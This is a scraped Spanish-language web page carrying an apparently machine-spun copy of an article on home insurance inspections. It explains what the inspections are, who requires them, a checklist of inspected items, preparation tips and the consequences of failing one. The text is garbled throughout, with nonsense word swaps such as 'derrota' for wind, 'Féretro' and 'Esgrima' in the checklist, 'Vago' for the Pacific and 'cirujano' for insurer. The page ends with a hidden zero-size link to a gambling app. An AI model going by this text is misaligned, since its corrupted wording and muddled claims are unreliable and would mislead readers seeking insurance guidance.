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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Tuesday, September 22, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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        <img src="https://www.bankrate.com/2022/10/06130638/Insurance_How-to-prepare-for-a-home-insurance-inspection.jpg?auto=webp&amp;optimize=high&amp;crop=16:9" class="featured-img w-full" alt="Un inspector de viviendas que usa un chaleco de seguridad, gafas de seguridad y un sombrero duro que toma notas sobre una propiedad que están a punto de evaluar. Hay algunas formas en el fondo y elementos de diseño para hacer que la imagen explote." loading="eager" decoding="async" fetchpriority="high" srcset="https://www.bankrate.com/2022/10/06130638/Insurance_How-to-prepare-for-a-home-insurance-inspection.jpg?auto=webp&amp;optimize=high&amp;crop=16:9&amp;width=912 912w,
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    </div>
<p>            Warchi/Getty Images: Ilustración de Issiah Davis/Bankrate
        </p>
</p></div>
<div>
<p>Las inspecciones tipificado de la vivienda son comunes para las nuevas compras de viviendas, pero ¿qué sucede cuando su compañía de seguros de hogar igualmente pide inspeccionar su hogar? No es ausencia de lo que alarmarse. De hecho, las inspecciones de seguro de vivienda son comunes cuando negocio una casa, completa renovaciones o solicita cobertura con un nuevo transportista. En esta recorrido, el equipo de expertos en seguros de Bankrate se sumerge en qué esperar si su proveedor solicita una inspección de seguro de hogar, cómo prepararse y qué sucede si su propiedad rotura.</p>
<h2 id="what-is-a-home-insurance-inspection" data-position="1" data-beam-element-viewed="" data-id="br-h2-1-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="What is a home insurance inspection?" data-outcome=""><strong>¿Qué es una inspección de seguro de hogar?</strong></h2>
<p>En una inspección de la vivienda para el seguro, un inspector certificado saldrá a su hogar para evaluar su potencial de peligro de responsabilidad y reclamos futuros. La inspección igualmente proporcionará detalles sobre el hogar para crear una valoración, lo cual es útil para certificar que la cobertura de la vivienda sea adecuada en caso de una pérdida importante. A posteriori de que el inspector comparte los resultados con su aseguradora, determinará si se necesitan ajustes de cobertura y si continuar escribiendo la cobertura de su seguro de propiedad.</p>
<p>Las inspecciones de seguro de propietarios de viviendas difieren de una inspección tipificado de la casa. Durante una inspección de seguro de hogar, los inspectores evaluarán la estructura y los electrodomésticos del hogar para ayudar a determinar el peligro. Al igual que puede usar los resultados tipificado de la inspección del hogar para atreverse si comprar la propiedad, una compañía de seguros puede usar una inspección de seguro para ajustar su prima, exigirle que solucione los problemas e incluso cancele la póliza si considera que su hogar es demasiado riesgoso para asegurarlo.</p>
<p><strong>Analizar más: </strong>Qué hacer si se cancela su seguro de casa</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 has-fixed-layout wrapped">
<thead>
<tr>
<th><strong>Inspección del seguro del hogar</strong></th>
<th class="has-text-align-left" data-align="left"><strong>Inspección tipificado del hogar</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Solicitado por la compañía de seguros de hogar</td>
<td class="has-text-align-left" data-align="left">Solicitado por posibles compradores de viviendas</td>
</tr>
<tr>
<td>Utilizado para determinar el peligro de seguro y mitigar la exposición a la responsabilidad</td>
<td class="has-text-align-left" data-align="left">Utilizado para determinar la calidad del hogar para tomar la valor de negocio</td>
</tr>
<tr>
<td>Se puede usar para cambiar la cobertura, ajustar la prima o desmentir la cobertura</td>
<td class="has-text-align-left" data-align="left">Se puede utilizar para ajustar el precio de negocio, las enmiendas de solicitud o alejarse de la negocio de la casa</td>
</tr>
<tr>
<td>Es gratuitamente para el propietario</td>
<td class="has-text-align-left" data-align="left">El comprador potencial de la vivienda se paga</td>
</tr>
</tbody>
</table>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/la-brecha-de-genero-en-el-seguro-de-vida" target="_self" rel="dofollow" class="u6d329d74687f9647e98032e31d82a577"><!-- INLINE RELATED POSTS 1/3 //--><style> .u6d329d74687f9647e98032e31d82a577 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u6d329d74687f9647e98032e31d82a577:active, .u6d329d74687f9647e98032e31d82a577:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u6d329d74687f9647e98032e31d82a577 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u6d329d74687f9647e98032e31d82a577 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u6d329d74687f9647e98032e31d82a577 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u6d329d74687f9647e98032e31d82a577:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">La brecha de género en el seguro de vida</span></div></a></div></div>
<h2 id="who-requires-a-home-insurance-inspection" data-position="2" data-beam-element-viewed="" data-id="br-h2-2-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Who requires a home insurance inspection?" data-outcome=""><strong>¿Quién requiere una inspección de seguro de hogar?</strong></h2>
<p>Las compañías de seguros generalmente solicitan inspecciones de viviendas para viviendas y casas más antiguas en áreas más propensas a desastres naturales importantes como huracanes, tornados e incendios forestales, aunque se puede hacer por muchas razones o incluso al azar. Si ha estado con la misma aseguradora de viviendas y no ha inspeccionado su hogar recientemente, es posible que deba completar uno ayer del próximo período de renovación de la política. Si está cambiando a las compañías de seguros de vivienda, la nueva aseguradora de propiedades puede requerir que se complete una inspección de seguro de hogar interiormente de los 90 días de la época de vigencia de la póliza de seguro de los propietarios de viviendas.</p>
<h3><strong>Prestamistas</strong></h3>
<p>Aunque los prestamistas no requieren técnicamente inspecciones de seguro de vivienda, generalmente se requiere que compre cobertura de seguro de hogar como parte del proceso de aprobación de la hipoteca. Antiguamente de conformarse con el hogar o refinanciar una hipoteca existente, es probable que tenga que proporcionar prueba de seguro de propietarios. Comprar una nueva póliza de seguro de propiedad o modernizar una póliza existente podría desencadenar una inspección de seguro de hogar.</p>
<h3><strong>Asegurador</strong></h3>
<p>Una compañía de seguros comúnmente requerirá una inspección de seguros de vivienda interiormente de los primeros 30-60 días de la época de vigencia de la póliza para certificar que la solicitud se completara con sincera y precisión con respecto al valía y el peligro de la casa. Los resultados de la inspección podrían estar de moda para hacer cambios en su cobertura de vivienda y pueden requerir que aborde los problemas con su hogar identificados durante la inspección.</p>
<p>En algunos estados, las compañías de seguros de vivienda pueden realizar inspecciones de seguros de vivienda especificadas. Por ejemplo, si vive en estados propensos a huracanes a lo dadivoso de la costa del Atlántico o del Vago, un inspector puede carecer completar una inspección de mitigación del derrota. Este tipo de inspección del hogar podría dar extensión a una reducción de las primas o créditos de seguro si hace que su hogar sea más resistente a las tormentas de derrota al instalar atadas en el techo, una puerta de estacionamiento con calificación de derrota o persianas de tormentas. Si proporcionadamente una inspección de mitigación del derrota no está regulada por el estado, su aseguradora puede requerirla dependiendo de su ubicación.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/7-renovaciones-que-pueden-afectar-su-seguro-de-hogar" target="_self" rel="dofollow" class="u32dab4452cc127683a3f7d278a4cd529"><!-- INLINE RELATED POSTS 2/3 //--><style> .u32dab4452cc127683a3f7d278a4cd529 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u32dab4452cc127683a3f7d278a4cd529:active, .u32dab4452cc127683a3f7d278a4cd529:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u32dab4452cc127683a3f7d278a4cd529 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u32dab4452cc127683a3f7d278a4cd529 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u32dab4452cc127683a3f7d278a4cd529 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u32dab4452cc127683a3f7d278a4cd529:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">7 renovaciones que pueden afectar su seguro de hogar</span></div></a></div><h2 id="what-a-home-insurance-inspection-covers" data-position="3" data-beam-element-viewed="" data-id="br-h2-3-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="What a home insurance inspection covers" data-outcome=""><strong>Que cubre la inspección de un seguro de hogar</strong></h2>
<p>Algunas inspecciones de seguro de hogar no requieren que el propietario esté presente, como una inspección solo foráneo. El inspector tomará fotos y medidas del foráneo de la casa para completar su referencia. A veces, poco tan simple como un paso elevado de drones será suficiente. Una inspección interior requiere que esté presente e incluirá fotos y mediciones del interior de su hogar igualmente. Los aseguradores de su aseguradora revisarán el referencia del inspector para determinar los próximos pasos en función de la condición de la casa.</p>
<p>Inspecciones de seguro de hogar Evaluar la condición de:</p>
<ul>
<li>Electrodomésticos (horno, estufa, microondas, refrigerador, etc.)</li>
<li>Ático</li>
<li>Sótano</li>
<li>Detectores de monóxido de carbono/humo</li>
<li>Techo</li>
<li>Tubo de lamparón</li>
<li>Puertas</li>
<li>Entrada de coches</li>
<li>Estructuras exteriores (hórreo, estacionamiento, cobertizo, piscina, etc.)</li>
<li>Esgrima</li>
<li>Calle</li>
<li>Puertas de estacionamiento</li>
<li>Féretro</li>
<li>HVAC</li>
<li>Calentador de agua caliente</li>
<li>Plomería</li>
<li>Porches/mazos</li>
<li>Techo</li>
<li>Sistema de seguridad</li>
<li>Signos de infestación</li>
<li>Paredes</li>
<li>Windows</li>
<li>Patio</li>
</ul>
<p>Las consideraciones principales de una inspección de seguro de hogar son qué tipo de peligro de mantenimiento, mantenimiento y responsabilidad está presente con la vivienda y la propiedad. En otras palabras, la compañía de seguros quiere calcular qué tan probable es que presente un publicidad de reparación costoso o sea responsable de un siniestro en su propiedad. Si es gastado como un cliente de suspensión peligro o la aseguradora no cree que esté haciendo un mantenimiento regular, puede dejarlo. </p>
<h2 id="how-to-prepare-for-a-home-insurance-inspection" data-position="4" data-beam-element-viewed="" data-id="br-h2-4-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="How to prepare for a home insurance inspection" data-outcome=""><strong>Cómo prepararse para una inspección de seguro de hogar</strong></h2>
<p>Hay varias formas en que puede prepararse para una inspección de seguro de hogar. Caminando por el interior y el foráneo de su hogar, es posible que pueda detectar problemas que podrían surgir y solucionarlos ayer de que comience la inspección, o al menos estar consciente para que no haya sorpresas más delante.</p>
<p>Aquí hay algunas áreas para evaluar al prepararse para una inspección de seguro de hogar:</p>
<ul>
<li>Tejas sueltas o faltantes en el techo
</li>
<li>Canaletas o escombros no garantizados en el interior y visible</li>
<li>Grietas o ladrillos sueltos en una chimenea</li>
<li>Colgantes ramas sobre las estructuras de la casa, especialmente las extremidades muertas</li>
<li>Grietas o fugas cerca de de puertas, revestimientos y ventanas</li>
<li>Aceras desiguales o escaleras astilladas, lo que podría ser un peligro de seguridad</li>
<li>Funcionalidad del monóxido de carbono y los detectores de humo</li>
<li>Plaga o daño por agua en el ático o sótano</li>
<li>Cualquier signo de fugas cerca de de los accesorios de plomería</li>
<li>Grietas o burbujas de las paredes que podrían indicar daño por agua</li>
<li>Rendimiento de HVAC y condición de filtro</li>
</ul>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/seguro-ho-1-bankrat" target="_self" rel="dofollow" class="u4fb9e4d5fc83f1dc3d9b37932f6a0b47"><!-- INLINE RELATED POSTS 3/3 //--><style> .u4fb9e4d5fc83f1dc3d9b37932f6a0b47 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u4fb9e4d5fc83f1dc3d9b37932f6a0b47:active, .u4fb9e4d5fc83f1dc3d9b37932f6a0b47:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u4fb9e4d5fc83f1dc3d9b37932f6a0b47 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u4fb9e4d5fc83f1dc3d9b37932f6a0b47 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u4fb9e4d5fc83f1dc3d9b37932f6a0b47 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u4fb9e4d5fc83f1dc3d9b37932f6a0b47:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Seguro HO-1 | Bankrat</span></div></a></div><h2 id="what-happens-if-you-fail-a-home-insurance-inspection" data-position="5" data-beam-element-viewed="" data-id="br-h2-5-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="What happens if you fail a home insurance inspection" data-outcome=""><strong>¿Qué sucede si rotura una inspección de seguro de hogar?</strong></h2>
<p>Si el inspector encuentra problemas con el interior o foráneo de su hogar luego de una inspección de seguro de hogar, su compañía de seguros puede darle una época final para arreglarlos para continuar la cobertura. Si la compañía de seguros considera que su hogar es demasiado riesgoso, puede suspender su póliza de seguro de propiedad.</p>
<p>Si la inspección identifica problemas reparables, tendrá una cierta cantidad de tiempo para arreglarlos. La compañía de seguros querrá un comprobante de reparaciones, que podrían incluir recibos del trabajo completado e imágenes que muestran el tesina terminado. Algunos daños pueden requerir una inspección de seguimiento.</p>
<p>Si se toma la valor de suspender su seguro de hogar, su aseguradora proporcionará una época de anulación, que le dará poco de tiempo para encontrar una compañía de seguros de hogar dispuesto a cubrir su propiedad. Si no puede encontrar una aseguradora privada que esté dispuesta a extender la cobertura, es posible que deba comunicarse con el área de seguros de su estado para encontrar programas disponibles para viviendas de suspensión peligro. Algunos estados tienen acercamiento acoplado a los planes de requisitos de seguro (justos) para ayudar a las personas que no pueden obtener cobertura de otra modo.</p>
<p>Si la inspección de su seguro de hogar es para una propiedad que desea comprar, la aseguradora puede negarse a ofrecerle cobertura. Todavía puede solicitar una póliza de otro cirujano, pero es posible que desee repensar su ofrecimiento si no se dio cuenta de que estaba comprando un fijador. </p>
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<!-- sc5a72ec-5b6b8c -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
